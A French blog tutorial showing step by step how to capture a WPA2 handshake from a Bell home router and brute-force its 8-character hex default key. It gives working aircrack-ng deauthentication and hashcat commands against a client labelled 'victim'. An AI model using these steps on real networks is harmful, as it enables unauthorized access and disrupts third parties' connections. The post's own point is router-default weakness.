J’ai utilisé VMware Workstation player avec une VM Kali (Kali-Linux-2018.4-vm-amd64) pour la partie OS. Elle reconnait de suite l’adaptateur WIFI USB. On peut télécharger la VM ici. Ensuite, j’ai pris la suite aircrack-ng pour capturer le trafic voulu. D’autres outils existent comme Wifite qui font cela automatiquement mais je voulais décortiquer les différentes étapes.
Pour cracker la clé WIFI j’ai utilisé la version Windows de l’application Hashcat (hashcat-5.1.0) disponible là. Afin d’avoir des performances optimales avec ma carte graphique.
Capture réseau
Une fois la VM lancée et la session Kali ouverte, il me suffit de connecter mon adaptateur WIFI USB (clic droit sur le dessin d’un petit dongle USB en haut à droite et « connect »).
Avant toute chose, il est préférable de changer temporairement son adresse MAC, pour cela on ouvre le terminal :
# On vérifie le nom de notre interface, ici "wlan0"
root@appareil-inconnu:~# ip link
7: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DORMANT group default qlen 1000
link/ether XX:XX:XX:XX:XX:XX brd ff:ff:ff:ff:ff:ff
# On tue les processes qui pourraient perturber l'attaque
root@appareil-inconnu:~# airmon-ng check kill
Killing these processes:
PID Name
803 wpa_supplicant
# On active la carte en mode injection de paquets
# Le nom de l'interface passe de "wlan0" à "wlan0mon"
root@appareil-inconnu:~# airmon-ng start wlan0
PHY Interface Driver Chipset
phy2 wlan0 ath9k_htc Atheros Communications, Inc. AR9271 802.11n
(mac80211 monitor mode vif enabled for [phy2]wlan0 on [phy2]wlan0mon)
(mac80211 station mode vif disabled for [phy2]wlan0)
# On arrête l'interface wlan0mon
root@appareil-inconnu:~# ifconfig wlan0mon down
# On change son adresse MAC (mode random)
# Nouvelle MAC : 6a:ac:c3:a9:2c:71
root@appareil-inconnu:~# macchanger -r wlan0mon
Current MAC: XX:XX:XX:XX:XX:XX (ALFA, INC.)
Permanent MAC: XX:XX:XX:XX:XX:XX (ALFA, INC.)
New MAC: 6a:ac:c3:a9:2c:71 (unknown)
# On ré-active l'interface
root@appareil-inconnu:~# ifconfig wlan0mon up
# On vérifie que l'adresse MAC est bien la nouvelle, c'est le cas
root@appareil-inconnu:~# ip link
10: wlan0mon: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UNKNOWN mode DEFAULT group default qlen 1000
link/ieee802.11/radiotap 6a:ac:c3:a9:2c:71 brd ff:ff:ff:ff:ff:ff
Nous allons maintenant pouvoir identifier les routeurs Bell aux alentours, pour cela une seule commande (je masque volontairement les SSID et adresses MAC 🙂 ) :
Rapidement on obtient une liste d’équipements, on notera d’ailleurs qu’ils sont tous sur le même schéma au niveau du SSID avec « BELL » suivi de 3 chiffres. Ce qui limite le nombre d’appareils à 1000 en comptant le 0 (on a aussi cette information en haut de l’article sur la première image). Ça me parait peu mais bon, passons.
Pour notre exemple, je vais choisir le 3ème routeur en partant du haut, celui que l’on capte le mieux qui est sur le canal 11 et surtout on voit plus bas qu’un client semble actif (VICTIM). En effet, pour mener à bien notre attaque, nous devons avoir de l’activité avec un client.
Et oui, l’une des options que l’on a pour retrouver la clé déchiffrée est de capturer au préalable ce que l’on appelle le « 4-Way Handshake » (poignée de main à 4 voies). Quelques explications claires ici : https://www.cleartosend.net/understanding-4-way-handshake/
Pour cela, nous avons notamment deux options : attendre qu’un client se connecte ou bien forcer un client déjà connecté à se reconnecter. Dans les deux cas nous serons en mesure de capturer le Handshake. Ici nous serons dans le 2ème cas.
Voici les commandes à utiliser pour provoquer et capturer le Handshake, il faudra ouvrir deux terminaux. Commande à lancer dans le premier terminal :
# On filtre sur notre victime avec le BSSID (adresse MAC du routeur) et le canal
# Et on sauvegarde les données dans un fichier au nom du ESSID
root@appareil-inconnu:~# airodump-ng -c 11 --bssid XX:XX:XX:XX:XX:XX -w /root/BELLXXX wlan0mon
CH 11 ][ Elapsed: 24 s ][ 2018-01-26 14:40 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
XX:XX:XX:XX:XX:XX -62 100 149 250 35 11 195 WPA2 CCMP PSK BELL005
BSSID STATION PWR Rate Lost Frames Probe
XX:XX:XX:XX:XX:XX XX:XX:XX:XX:XX:XX -60 0 -24 0 4
XX:XX:XX:XX:XX:XX XX:XX:XX:XX:XX:XX -69 0 - 1e 1 14
Dans un second terminal on force l’un des clients actifs à se reconnecter :
# On lance deux fois une commande qui va forcer le client à se déconnecter de l'Acces Point
# On cible pour cela le client avec son adresse MAC, -a avec le BSSID (le routeur cible) et -c pour l'adresse MAC du client
oot@appareil-inconnu:~# aireplay-ng -0 2 -a XX:XX:XX:XX:XX:XX -c XX:XX:XX:XX:XX:XX wlan0mon
14:42:16 Waiting for beacon frame (BSSID: XX:XX:XX:XX:XX:XX) on channel 11
14:42:16 Sending 64 directed DeAuth (code 7). STMAC: [XX:XX:XX:XX:XX:XX] [ 2|62 ACKs]
14:42:17 Sending 64 directed DeAuth (code 7). STMAC: [XX:XX:XX:XX:XX:XX] [ 7|73 ACKs]
Cela revient à priver la victime de son accès Internet pendant quelques secondes (un mini « DOS » en quelque sorte) mais le client se reconnectera automatiquement, ce sera quasiment transparent pour notre victime.
On revient dans notre premier terminal et bout de quelques secondes on verra apparaître en haut à droite « WPA handshake« , c’est gagné :
On arrête la commande du 1er terminal (CTRL + C) et vous verrez plusieurs fichiers créés dans le répertoire « /root », celui ou ceux qui nous intéressent pour la suite de l’attaque se terminent par « *.cap », ils contiennent le Handshake :
root@appareil-inconnu:~# ll -lt | grep BELLXXX
-rw-r--r-- 1 root root 213545 Jan 26 14:42 BELLXXX-02.cap
-rw-r--r-- 1 root root 861 Jan 26 14:42 BELLXXX-02.csv
-rw-r--r-- 1 root root 590 Jan 26 14:42 BELLXXX-02.kismet.csv
-rw-r--r-- 1 root root 6995 Jan 26 14:42 BELLXXX-02.kismet.netxml
-rw-r--r-- 1 root root 68676 Jan 26 14:42 BELLXXX-02.log.csv
-rw-r--r-- 1 root root 50776 Jan 26 14:41 BELLXXX-01.cap
-rw-r--r-- 1 root root 861 Jan 26 14:41 BELLXXX-01.csv
-rw-r--r-- 1 root root 586 Jan 26 14:41 BELLXXX-01.kismet.csv
-rw-r--r-- 1 root root 6993 Jan 26 14:41 BELLXXX-01.kismet.netxml
-rw-r--r-- 1 root root 45250 Jan 26 14:41 BELLXXX-01.log.csv
Il suffit ensuite de convertir notre fichier « *.cap » dans un format compatible avec l’application Hashcat que l’on utilisera dans la section suivante. Ce dernier propose pour cela un outil de conversion « cap2hccapx.bin » :
# Toujours depuis le répertoire "/root" on lance la commande de conversion
# Elle est présente par défaut dans Kali
root@appareil-inconnu:~# /usr/lib/hashcat-utils/cap2hccapx.bin ./BELLXXX-02.cap ./BELLXXX.hccap
Networks detected: 1
[*] BSSID=XX:XX:XX:XX:XX:XX ESSID=BELLXXX (Length: 7)
--> STA=XX:XX:XX:XX:XX:XX, Message Pair=0, Replay Counter=1
--> STA=XX:XX:XX:XX:XX:XX, Message Pair=2, Replay Counter=1
Written 2 WPA Handshakes to: ./BELLXXX.hccap
On se retrouve donc avec un nouveau fichier « BELLXXX.hccap » contenant plusieurs Handshake.
Il sera peut-être nécessaire d’essayer avec les différents fichiers « *.cap », certains ne contiendront pas le Handshake, et vous aurez ce message :
Written 0 WPA Handshakes to: ./BELLXXX.hccap
Passons à la suite.
Récupération de la clé WIFI
La phase de récupération de la clé WIFI se fera « offline », il n’y aura plus d’interactions avec notre victime.
J’ai donc utilisé l’application Hashcat pour Windows, dont vous trouverez le binaire sur le site de l’éditeur ici : https://hashcat.net/hashcat/
Une fois l’archive décompressée, il suffit d’ouvrir une fenêtre DOS, de se rendre dans le répertoire du binaire où l’on aura déposé au préalable le fichier précédemment créé.
On lance ensuite la commande « magique » qui permet de faire une brute-force en testant toutes les combinaisons possibles des 16 caractères pour une longueur de 8 :
C:\Users\admin\Downloads\hashcat-5.1.0>hashcat64.exe -m 2500 -a3 bellXXX.hccap -1 ?dABCDEF ?1?1?1?1?1?1?1?1 -d 3 -w 3
hashcat (v5.1.0) starting...
* Device #1: Intel's OpenCL runtime (GPU only) is currently broken.
We are waiting for updated OpenCL drivers from Intel.
You can use --force to override, but do not report related errors.
* Device #3: WARNING! Kernel exec timeout is not disabled.
This may cause "CL_OUT_OF_RESOURCES" or related errors.
To disable the timeout, see: https://hashcat.net/q/timeoutpatch
nvmlDeviceGetFanSpeed(): Not Supported
OpenCL Platform #1: Intel(R) Corporation
========================================
* Device #1: Intel(R) UHD Graphics 630, skipped.
* Device #2: Intel(R) Core(TM) i5-8300H CPU @ 2.30GHz, skipped.
OpenCL Platform #2: NVIDIA Corporation
======================================
* Device #3: GeForce GTX 1050, 1024/4096 MB allocatable, 5MCU
Hashes: 2 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force
* Slow-Hash-SIMD-LOOP
Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63
Watchdog: Temperature abort trigger set to 90c
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit =>
Explications des options utilisées avec cette commande :
hashcat64.exe = version 64 bits de l’application
-m 2500 = type de Hash que l’on cherche à craquer, ici WPA-EAPOL-PBKDF2
-a3 = mode d’attaque, ici Brute-force
bellXXX.hccap = notre fichier contenant le Handshake
-1 = jeu de caractères personnalisé
?dABCDEF = notre jeu de caractère c-à-d « d » pour 0123456789 et plus ABCDEF
?1?1?1?1?1?1?1?1 = longueur de notre clé WIFI que l’on cherche, à savoir 8 caractères
-d 3 = carte graphique que l’on veut utiliser et/ou CPU
-w 3 = profil de travail de la carte graphique, cela correspond au niveau « High », niveau 3 sur 4 afin de gagner quelques hashrate sans non plus solliciter celle-ci à fond
En appuyant sur la touche « s » on obtient tout un tas d’informations, notamment le temps estimé maximal pour tester toutes combinaisons et la vitesse de traitement qui s’exprime en Hashrate par seconde :
Et là surprise, en maximum 12 heures de traitement je devrais être en mesure de découvrir la clé WIFI…mais au bout de deux heures finalement, j’ai déjà une réponse :
Voilà, je ne m’attendais pas à pouvoir obtenir et craquer ma clé WIFI aussi facilement 😉 Et oui, je n’ai pas voulu prendre de risques avec mes chers voisins ! J’ai laissé la clé WIFI initiale pour mes tests. Blague à part, il est grand temps que WPA3 remplace le vieillissant protocole WPA2, même si tout cela prendra des mois voire des années. Les constructeurs et fournisseurs vont certainement profiter de l’occasion pour forcer les utilisateurs à changer d’équipements, il y aura des périodes bugs etc…
Je n’ai ici montré qu’un seul moyen pour obtenir le sésame, d’autres méthodes sont apparues dont une récente qui ne nécessite même plus de capturer le Handshake, c’est une attaque « sans client ». Mais l’attaque par force brute du mot de passe est toujours nécessaire.
Bref, en attendant WPA3, ce serait bien que les fournisseurs et/ou constructeurs augmentent drastiquement le nombre de caractères de base… En effet, combien de personnes « lambda » changent cette clé à la réception de leur équipement ?…
